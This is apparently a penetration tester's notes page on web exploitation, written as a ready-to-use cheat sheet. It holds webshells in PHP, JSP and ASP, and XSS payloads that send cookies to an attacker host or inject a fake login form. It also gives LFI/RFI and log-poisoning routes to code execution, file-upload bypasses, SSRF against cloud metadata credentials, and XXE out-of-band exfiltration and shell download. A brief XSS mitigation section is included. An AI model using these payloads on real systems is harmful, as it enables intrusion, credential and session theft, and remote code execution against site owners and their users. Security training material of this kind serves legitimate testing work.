Web Exploitation

This page combines all web-related resources into one section for easy navegation.

See more about… Web

Source: Docs > 5 - Exploitation > shells#web

Web

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php

Code

NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings

<?php echo 7*7; ?>

<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>

<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>

curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>

<%= 7*7 %>

<% eval request("dbg") %>

curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>

See more about… Cross-site scripting (XSS)

Source: Docs > 5 - Exploitation > xss

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There are two sides: source (frontend) and sink (backend).

REMEMBER: Viewing the Page Source (CTRL+U) or Inspecting Element (F12) are two separates things: respectively, one is the HTTP response (static site, scripts pre-execution) and the other is the final website (dynamically loaded, scripts post-execution)

TypeDescription
Stored XSS (Persistent)Stored in the backend… The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g. posts or comments)
Reflected XSS (Non-Persistent)Only passes through the backend… Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g. search result or error message)
DOM-based XSSNever touches the backend Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)

Breaking Context

Manual Payloads

Sometimes, certain payloads are not allowed

<script>alert(window.origin)</script>

<img src="" onerror=alert(window.origin)>

<svg/onload=alert(window.origin)>

// Polyglot Breaker
javascript:"/*\"/*`/*' /*</title></textarea>--></noscript></style></xmp>"></a><img src=x onerror=alert(window.origin)>//

---

# Setup listener on ATTACKER_IP
sudo python3 -m http.server 80

// Remote script
<script src="http://<ATTACKER_IP>/script.js"></script>

// Same idea but enumerate vuln fields
<script src="http://<ATTACKER_IP>/username"></script>

// Exfil cookies
document.location='http://<ATTACKER_IP>/index.php?c='+document.cookie;
new Image().src='http://<ATTACKER_IP>/index.php?c='+document.cookie;

Login Form Injection

<h3>Please login to continue</h3>
<form action=http://<ATTACKER_IP> >
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

Blind XSS

Manual

Generally, to enumerate Blind XSS vulns, start by setting a server to receive a callback for a particular HTML field that is being tested.

mkdir /tmp/tmpserver && cd /tmp/tmpserver
cat << 'EOF' > script.js
new Image().src='http://10.10.14.175:8080/index.php?c=' + document.cookie;
EOF
php -S 0.0.0.0:8080

NOTE: usually, password fields are hashed and email fields are validated client/server side, so they are harder or impossible

# MODIFY PAYLOAD AS NEEDED
PAYLOAD='"><script src=http://<ATTACKER_IP>:8080/script.js></script>'
# Encode it
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
# Hack it!
curl "http://<TARGET>/<PAGE>?\
Name=${ENCODED}\
&Email=${ENCODED}\
&Phone+Number=${ENCODED}\
&Product=${ENCODED}\
&os=${ENCODED}\
&browser=${ENCODED}\
&message=${ENCODED}\
&ttype=${ENCODED}" \
-H 'X-Requested-With: XMLHttpRequest'

Check the PHP server for the response with the cookie. Then add the cookie to the browser and visit the appropriate login page:

  • Click Shift+F9 to show the Storage bar
  • Click on the + button on the top right corner
  • Add Name is the part before = and the Value is the part after = from the stolen cookie

Dalfox

NOTE: this is very dangerous and can break servers easily

# this installs the program at `~/go/bin/dalfox`
go install github.com/hahwul/dalfox/v2@latest
# HTTP GET
dalfox url 'http://<TARGET>/?<PARAM>=<VALUE>'

# HTTP POST (can include multiple params for -d)
# COOKIES: -C 'PHPSESSID=<YOUR_COOKIE>'
dalfox url 'http://<TARGET>/' -X POST -d '<PARAM>=<VALUE>'

Blind

# Fuzz web page fields
dalfox url "http://<TARGET_IP>/<PAGE>" \
  --skip-mining-dom \
  --blind "http://<ATTACKER_IP>:8080" \
  -X POST \
  -d "<PARAM>=<VALUE>"
  --header "X-Requested-With: XMLHttpRequest" \
  --blind "http://10.10.14.175:8080" \
  --delay 500

XSS Prevention & Mitigation

XSS defense requires a Defense in Depth approach. Never rely solely on Frontend validation (it is easily bypassed).

Frontend

  • Input Validation: Use Regex to enforce strict formats (e.g., Email, Date).
  • Sanitization: Strip dangerous tags before processing.
  • Safe Sinks: Avoid writing raw HTML.
    • UNSAFE: innerHTML, outerHTML, document.write(), jQuery append(), html().
    • SAFE: innerText, textContent.

Backend

  • Input Validation: Reject input that doesn’t match expected types (e.g., PHP filter_var).
  • Input Sanitization: Escape special characters before storage (e.g., PHP addslashes, Node DOMPurify).
  • Output Encoding (CRITICAL): Convert special characters into HTML Entities (e.g., <&lt;) before rendering.
    • PHP: htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
    • NodeJS: html-entities library.

Server Configuration

  • Content Security Policy (CSP): The most powerful header against XSS.
    • Content-Security-Policy: script-src 'self' (Only allow scripts from the same origin, blocks inline JS).
  • Cookie Flags:
    • HttpOnly: Prevents JavaScript from reading document.cookie.
    • Secure: Ensures cookies are only sent over HTTPS.
  • Headers:
    • X-Content-Type-Options: nosniff (Prevents MIME sniffing).
  • WAF: Web Application Firewall (ModSecurity, AWS WAF) to block common payloads.
See more about… File Inclusion

Source: Docs > 5 - Exploitation > file-inclusion

File Inclusion (FI) allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

There are 2 types, which depend on the underlying vulnerable function:

Code Examples of FI

These examples use the idea of a webpage in multiple languages that allows the user to dynamically load webpage in the selected language.

PHP

// Selector
if (isset($_GET['language'])) {
    include($_GET['language']);
}

NodeJS

// Selector
if(req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

// about.html
app.get("/about/:language", function(req, res) {
    res.render(`/${req.params.language}/about.html`);
});

Java

// Selector
<c:if test="${not empty param.language}">
    <jsp:include file="<%= request.getParameter('language') %>" />
</c:if>

// about.html
<c:import url= "<%= request.getParameter('language') %>"/>

.NET

// Selector
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
    <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> 
}

// about.html
@Html.Partial(HttpContext.Request.Query['language'])

Can Function X Read/Execute?

FunctionRead ContentExecuteRemote URL
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

Checking Vulnerability

Due to file permissions, these files should almost always exist and be accessible if a target is vulnerable to LFI:

  • Linux: /etc/passwd
  • Windows: C:\Windows\boot.ini

Generally, they will be 3-5 folder depths down from the root filesystem:

# without '/'
../../../../etc/passwd
# with '/'
/../../../../etc/passwd

# basic filter '../' bypass
....//....//....//etc/passwd
..././
....\/

# URL encoding: must encode entire string
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

# regex might require a specific string or extension for a folder or extension
# the extension part can limit the files accessible
languages/.*php

# overflow character limit to evade extension filter
# ONLY: PHP <5.3 versions
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

# null byte
# ONLY: PHP <5.5 versions
../../../../etc/passwd%00.php

URL Encoding

# Total URL Encoding via Python
echo -n '<LFI_STRING>' | python3 -c "import sys; print(''.join('%{0:02x}'.format(ord(c)) for c in sys.stdin.read()))"

Finding Files

Typically, the backend server will not have debug messages enabled. In order to enumerate files (such as other *.php or config files in the same directory), fuzzing the web server and keeping all HTTP responses (e.g. codes 301, 302, 403, etc.) can show that those files or locations exist AND could be accessible via LFI (but not normal HTTP requests)

# Find *.php files that DO EXIST on the server
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.php

If the found files can be accessed via LFI, but get executed instead of merely read, use a PHP filter like base64 to encode the file to read and prevent it from being executed:

# NOTE: .php get appended to `resource` so "<FILE>" is really "<FILE>.php"
http://<TARGET>/<PAGE>?<PARAMETER>=php://filter/read=convert.base64-encode/resource=<FILE>

# View Page Source > Decode base64
echo '<BASE64> | base64 -d'

Local File Inclusion

Check Config

# If the LFI is already know (e.g. via LFImap) this
# can browse for all accessible config files
ffuf -w <LFI_LIST>:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAMETER>=<LFI>FUZZ' -fs 0 -v

Execute Commands

If able, check that appropriate settings are enabled and the underlying function supports the command.

via data

# Base64'd PHP Webshell: <?php system($_GET["cmd"]); ?>
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=;<COMMAND>;'

via input

# POST PHP Webshell
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' 'http://<TARGET>/<PAGE>?<PARAMETER>=php://input&cmd=<COMMAND>'

via expect

curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=expect://<COMMAND>'

Remote File Inclusion

If able, check that appropriate settings are enabled and the underlying function supports the command. Sometimes, though not always, command execution is allowed.

# URL is the remote resource
http://<TARGET>/<PAGE>?<PARAMETER>=<URL>

# Create remote PHP web shell
# NOTE: this only works for get and execute style functions
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 8080

# Execute commands by calling back to ATTACK_IP and executing that file
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=<ATTACKER_IP>:<PORT>/shell.php?cmd=<COMMAND>'

Log Poisoning

Poisoning a file to gain execution can be done by PHPSESSION, which is the settings a user has selected for a webpage.

# Get PHPSESSION from F12 > Storage
# NOTE: that file is stored on disk as:
# /var/lib/php/sessions/sess_<PHPSESSION>

# Read the settings for the PHPSESSION
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>

# Let's see if we control the OPTION
http://<TARGET>/<PAGE>?<PARAMETER>=CONTROL
# Now read the value
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>

# Set OPTION to a PHP webshell
curl -sc cookies.txt 'http://<TARGET>/<PAGE>?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E'

# Now execute commands
curl -sko- -b cookies.txt 'http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>&cmd=<COMMAND>'

Scanning

To find parameters that could be vulnerable to LFI, first search for the GET/POST parameter, then try out LFI payloads as a value.

NOTE: these payloads are easily defeated by file extension filtering, so that needs to be mitigated as needed. Often times:

  1. Check server configs
  2. Attempt to read and see the filtering from the pages
  3. Incorporate the filtering into the ffuf URL portion
# FIND: params
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

# FIND: LFI payloads
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>

LFI Filter Evasion

When the default Jhaddix wordlist fails (returns 200s but no content, or 500 errors), the application is filtering your input.

The Filter (What the dev did)The Bypass (How to break it)Example Payload
Traversal Stripping (Removes ../)Nested or overlapping traversals.....//....//etc/passwd
..././..././etc/passwd
URL Decoding Filters (WAF)URL encode, or double-URL encode.%2e%2e%2fetc%2fpasswd
%252e%252e%252fetc%252fpasswd
Hardcoded Prefix (include("dir/".$p))Add more ../ to climb out of the forced directory.../../../../../../etc/passwd
Hardcoded Suffix (include($p.".php"))Legacy (PHP < 5.3): null byte.
Modern: PHP filter (Base64).
../../../etc/passwd%00
php://filter/read=convert.base64-encode/resource=config
Keyword Blocking (Blocks passwd)Wildcards (Linux) or redundant slashes./etc//passwd
/etc/security/../passwd

Mechanics & Logic

1. The “Forced Extension” Problem (.php)

If the code is include($_GET['page'] . ".php");, requesting /etc/passwd makes the server look for /etc/passwd.php, which doesn’t exist.

Solution: Pivot to reading the application’s source code using PHP wrappers. If you request php://filter/convert.base64-encode/resource=config, the server appends .php making it config.php. The wrapper Base64-encodes the PHP code instead of executing it, bypassing the extension filter entirely.

2. The str_replace Trap

Many developers try to fix LFI with str_replace("../", "", $input).

The bypass: If you send ....//, the filter finds the ../ in the middle and deletes it. What remains is the outer ../, which pieces itself back together after the filter runs.

Advanced Scanning

The LFI-Jhaddix list is a great scattergun; to explicitly test bypasses, use targeted SecLists:

# FIND: Advanced bypasses (nested, encoded, null bytes)
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>

# FIND: PHP wrapper source code extraction (targets common files like index, config, db)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=php://filter/read=convert.base64-encode/resource=FUZZ' -fs <SIZE>
See more about… Parameter fuzzing

Source: Docs > 9 - Notes > ffuf#parameter-fuzzing

Parameter fuzzing

GET

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

POST

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>

LFImap

Automates exploitation of discovery, filter evasion, and RCE escalation (wrappers, log poisoning, etc.).

# Install
git clone https://github.com/hansmach1ne/LFImap.git && cd LFImap
python3 -m pip install -r requirements.txt

# Base Scan (Use '*' to mark the injection point)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*'

# Full Auto-Exploit (Tests all bypasses & attempts RCE)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' -a

# Pop a Reverse Shell directly (if vulnerable)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' --exploit --lhost <ATTACKER_IP> --lport <LPORT>

Nuclei

Best for discovering zero-days, CVEs, and blind out-of-band (OOB) inclusions across massive attack surfaces.

See more about… Fix Go

Source: Docs > 9 - Notes > Troubleshooting#fix-go

Fix Go

When system Go is broken or missing (HTB / online lab VMs)…

go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23

…Install a local Go and wire it into PATH:

wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz
mkdir -p ~/go_bin
tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz
export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH
echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc
go version
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Update templates first
nuclei -ut

# Target a specific URL for all known LFI vectors
echo 'http://<TARGET>/index.php?page=test' | nuclei -tags lfi

# Fuzzing Mode (Uses Nuclei's DAST engine to mutate parameters)
nuclei -u 'http://<TARGET>/' -dast -tags lfi

# Blind OOB LFI (Catch callbacks with interactsh automatically)
nuclei -u 'http://<TARGET>/' -tags oast,lfi
See more about… File Upload

Source: Docs > 5 - Exploitation > file-upload

Insecure file upload occurs when an application accepts file uploads without proper validation of type, content, or destination. Attackers can upload webshells, abuse allowed extensions or content types, or combine upload with XXE to read or execute code.

Process

  1. Identify the web technologies used (e.g. PHP).
  2. Check for client- and server-side validation and filtering.
  3. Intercept file submission with a web proxy and test modifications of:
    • Filename extensions in the request body
    • Content-Type headers
  4. Disable client-side validation (e.g. via proxy or DevTools: delete or modify the validation functions).
  5. Bypass server-side validation:
    • Fuzz file extensions (e.g. .php7, .phtml, or mixed case .pHP) via Intruder. Untick “URL Encoding” so the dot is not encoded.
    • Try double extensions such as .jpgFUZZ or FUZZ.jpg.
    • Use ffuf -od reqs with a minimal “Hello World” payload for the target tech to see which extension actually executes.
# Extension fuzzing
# NOTE: this will upload the request; use a "Hello World" payload for the target tech (e.g. PHP)
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -od ffuf_ext_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt

Content-Type for Uploads

Fuzz the request body’s Content-Type (not the HTTP header).

NOTE: Uncheck the URL-encode option in the proxy (e.g. Intruder) so the payload is sent literally.

# Content-Type fuzzing
# NOTE: use a culled list for image uploads
grep 'image/' /usr/share/seclists/Discovery/Web-Content/web-all-content-types.txt > image-content-types.txt

ffuf -w image-content-types.txt:FUZZ -od ffuf_type_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt

Magic Bytes

File TypeMagic Bytes (Hex)ASCII Representation
GIF47 49 46 38 39 61 or 47 49 46 38 37 61GIF8, GIF89a or GIF87a
JPGFF D8 FF E0 (standard)ÿØÿà
PNG89 50 4E 47 0D 0A 1A 0A.PNG....

Magic bytes are the first bytes inside the file (not metadata or extension) that identify the file type. Prepending valid magic bytes can help bypass content checks while keeping executable content (e.g. PHP) after them.

GIF8 <?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

Character Injection

This approach uses character workarounds that can bypass validation on some (especially older) PHP versions.

> wordlist.txt
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    while IFS= read -r ext; do
        [[ -z "$ext" || "$ext" == \#* ]] && continue
        echo "shell${char}${ext}.jpg" >> wordlist.txt
        echo "shell${ext}${char}.jpg" >> wordlist.txt
        echo "shell.jpg${char}${ext}" >> wordlist.txt
        echo "shell.jpg${ext}${char}" >> wordlist.txt
    done < "/usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt"
done

Files with XXE (via local file reads)

SVG, PDF, Word, PowerPoint, and other formats that parse XML can execute or expose data via embedded XXE. If the upload is processed as XML, check Page Source for reflected data that may not be shown in the rendered page.

Read File

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file://<FILE>"> ]>
<svg>&xxe;</svg>

Read PHP

NOTE: The response may need to be base64-decoded. This assumes the PHP filter wrapper is available.

To read server configs or PHP without executing them:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<PHP_FILE>"> ]>
<svg>&xxe;</svg>

Simple Webshell

Append PHP code to the SVG payload so the uploaded file both triggers the XXE and contains the webshell.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> 
<svg>&xxe;</svg>
<?php system($_REQUEST['cmd']); ?>
See more about… Web

Source: Docs > 5 - Exploitation > shells#web

Web

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php

Code

NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings

<?php echo 7*7; ?>

<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>

<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>

curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>

<%= 7*7 %>

<% eval request("dbg") %>

curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>

See more about… Server-Side Request Forgery (SSRF)

Source: Docs > 5 - Exploitation > ssrf

SSRF forces the server to make HTTP (or other protocol) requests on the attacker’s behalf. The server becomes a proxy — useful for accessing internal services, cloud metadata endpoints, or local files.

Identification: Look for any parameter that fetches a remote resource — ?url=, ?image=, ?server=, ?dest=, PDF export features, webhooks, icon fetchers.

VariantDescription
Basic SSRFParameter takes a URL; redirect it to internal target
Blind SSRFServer makes the request but returns no output — detect via out-of-band callback
SSRF → LFIServer (or its PDF renderer) reads file:// URIs
SSRF → RCEChain into internal services (Redis, Elasticsearch, etc.)

Basic SSRF

Point the vulnerable parameter at an internal resource or metadata endpoint:

# Internal admin panel
http://<TARGET>/item?url=http://127.0.0.1/admin

# AWS metadata
http://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata
http://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Blind SSRF Detection

If the response gives nothing back, confirm the request fires via a callback:

# Start listener
nc -lvnp 8080

# Inject callback URL into the vulnerable parameter
curl "http://<TARGET>/webhook?url=http://<ATTACKER_IP>:8080/ping"

Use Burp Collaborator or interactsh for DNS-based OOB confirmation.

SSRF → LFI via HTML Injection in PDF

When an app generates PDFs from user input using a headless browser (wkhtmltopdf, Puppeteer, Chrome headless), injecting JavaScript into the input causes the renderer to execute it. The script can read file:// URIs and exfiltrate content back to the attacker.

Identification: Submit a field and download the resulting PDF — if your input renders as HTML (not escaped), the renderer is likely vulnerable.

Inject into the vulnerable input field (e.g., a tracker or name field that ends up in the PDF):

while true; do nc -lvnp 8080; done

# Into vulnerable field
<script>
x=new XMLHttpRequest;
x.onload=function(){document.location='http://<ATTACKER_IP>:8080?c='+btoa(this.responseText)};
x.open('GET','file:///etc/passwd');
x.send();
</script>

Automate with curl

URL-encode the payload and POST it directly:

while true; do nc -lvnp 8080; done

PAYLOAD='<script>x=new XMLHttpRequest;x.onload=function(){document.location="http://<ATTACKER_IP>:8080?c="+btoa(this.responseText)};x.open("GET","file:///<FILE>");x.send();</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
curl 'http://<TARGET>/' \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw "insert=Track+Now&handle=${ENCODED}"

NOTE: Some PDF renderers block file:// access by default. If the payload fires but returns empty, try /proc/self/environ, /etc/hosts, or app config files as alternative targets.


HTTP Verb Tampering

This should return a HTTP Allow header that will demonstrate accepted HTTP verbs:

curl -X OPTIONS -i 'http://<TARGET>/*'

Then experiment with changing the request… like GET -> POST. If it’s an authentication request that uses only HTTP Headers, try also HEAD or OPTIONS.

curl -X POST "http://<TARGET>/index.php" -d "filename=test;id"

Create HTTP Verb list from common ones and response from OPTIONS

{ curl -s -I -X OPTIONS <TARGET> | grep -i "allow:" | cut -d':' -f2 | tr ',' '\n' | tr -d ' ' ; echo "GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT DEBUG TEST" | tr ' ' '\n'; } | sort -u > http_methods.txt

ffuf -w ./http_methods.txt -X FUZZ -u <TARGET>

Insecure Direct Object References (IDOR)

Occurs when an application exposes a direct reference to an internal implementation object (such as a database key or file path) in a URL or API parameter, allowing an attacker to manipulate that reference to access unauthorized data belonging to another user.

Basic Fuzzing

NOTE: don’t forget the cookie header if needed!

# Fuzz API using IDs 0-50, matching on HTTP 200 or "txt"
ffuf -request-proto http -request request.txt -w <(seq 1 10) -mr <REGEX>

ffuf -u "http://<TARGET>/api/user/FUZZ" -w <(seq 0 50) -mr <REGEX>

Encoded Fuzzing

If the target encodes the ID (e.g. Base64 in the URL) but expects an MD5 hash for the actual file/object:

# Iterates 1-20, calculates Base64(ID) and MD5(ID), and downloads file
for i in {1..20}; do
    B64_ID=$(echo -n "$i" | base64 -w 0)
    MD5_ID=$(echo -n "$i" | md5sum | tr -d ' -')
    
    echo "Testing ID: $i | B64: $B64_ID | MD5: $MD5_ID"
    
    # -J uses the server Content-Disposition automatically
    curl -sJo- "http://<TARGET>/download.php?contract=$B64_ID"
    # NOTE: this is a manual method:
    # -H "Content-Disposition: attachment; filename=\"contract_$id_hashed.pdf\"" 
done

LFI via XXE

Default XML header as needed:

<?xml version="1.0"?>

TRY placing &xxe; into different fields to see if TESTSTRING gets reflected back to the page.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe "TESTSTRING">]>
<root><subtotal>&xxe;</subtotal><userid>&xxe;</userid></root>

Basic LFI via XXE

Use the php://filter to Base64-encode files before extraction. This prevents XML parsers from crashing when they hit characters like < or & inside the target PHP file.

NOTE: Replace <FILE>!

<!-- INJECT THIS INTO THE XML BODY -->
<!DOCTYPE email[
  <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=<FILE>">
]>
<root>
    <email>&file;</email>
</root>

Decode locally: base64 -d <<< "PD9waHA..."

Advanced LFI

If the PHP wrapper is blocked, use CDATA to read raw files. Requires hosting a malicious DTD on your machine.

echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd

python3 -m http.server 8000

NOTE: Replace <FILE> and <ATTACKER_IP>!

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file://<FLAG>">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://<ATTACKER_IP>:8000/xxe.dtd">
  %xxe;
]>

Send as HTTP request body:

<!DOCTYPE email[
  <!ENTITY % remote SYSTEM "http://<ATTACKER_IP>/xxe.dtd">
  %remote;
  %xxe;
]>
<root>
    <email>&joined;</email>
</root>

Blind OOB Exfiltration

If the server processes the XML but returns no output to your screen, force the server to send the file contents to your web server as a URL parameter. This sends the desired data/file to the ATTACKER_IP via an outbound HTTP request

NOTE: Replace <FILE> and <ATTACKER_IP>!

# XXE for reading file
cat << 'EOF' > xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=<FILE>">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<ATTACKER_IP>:8000/?content=%file;'>">
EOF

# Autodecoder for base64
cat << 'EOF' > index.php
<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>
EOF

php -S 0.0.0.0:8000

Step 2: The Payload (Send to Target)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://<ATTACKER_IP>:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

RCE via expect

Note: The expect module is not enabled/installed by default on modern PHP servers, so this attack may not always work. This is why XXE is usually used to disclose sensitive local files and source code, which may reveal additional vulnerabilities or ways to gain code execution.

echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80

Note: We replaced all spaces in the above XML code with $IFS, to avoid breaking the XML syntax. Furthermore, many other characters like |, >, and { may break the code, so we should avoid using them.

NOTE: Replace and <ATTACKER_IP>!

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'<ATTACKER_IP>/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

XXEinjector: Automated OOB

If manual OOB is tedious, use XXEinjector to automate the extraction.

  1. Save the Burp POST request to req.txt.
  2. Replace the XML data with the word XXEINJECT.
...

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
  1. Run the extractor:
git clone https://github.com/enjoiz/XXEinjector.git && cd XXEinjector

ruby XXEinjector.rb --verbose --phpfilter --oob=http --host=<ATTACKER_IP> --httpport=8000 --file=req.txt --path=<FILE>
# Results save to: Logs/<TARGET_IP>/etc/passwd.log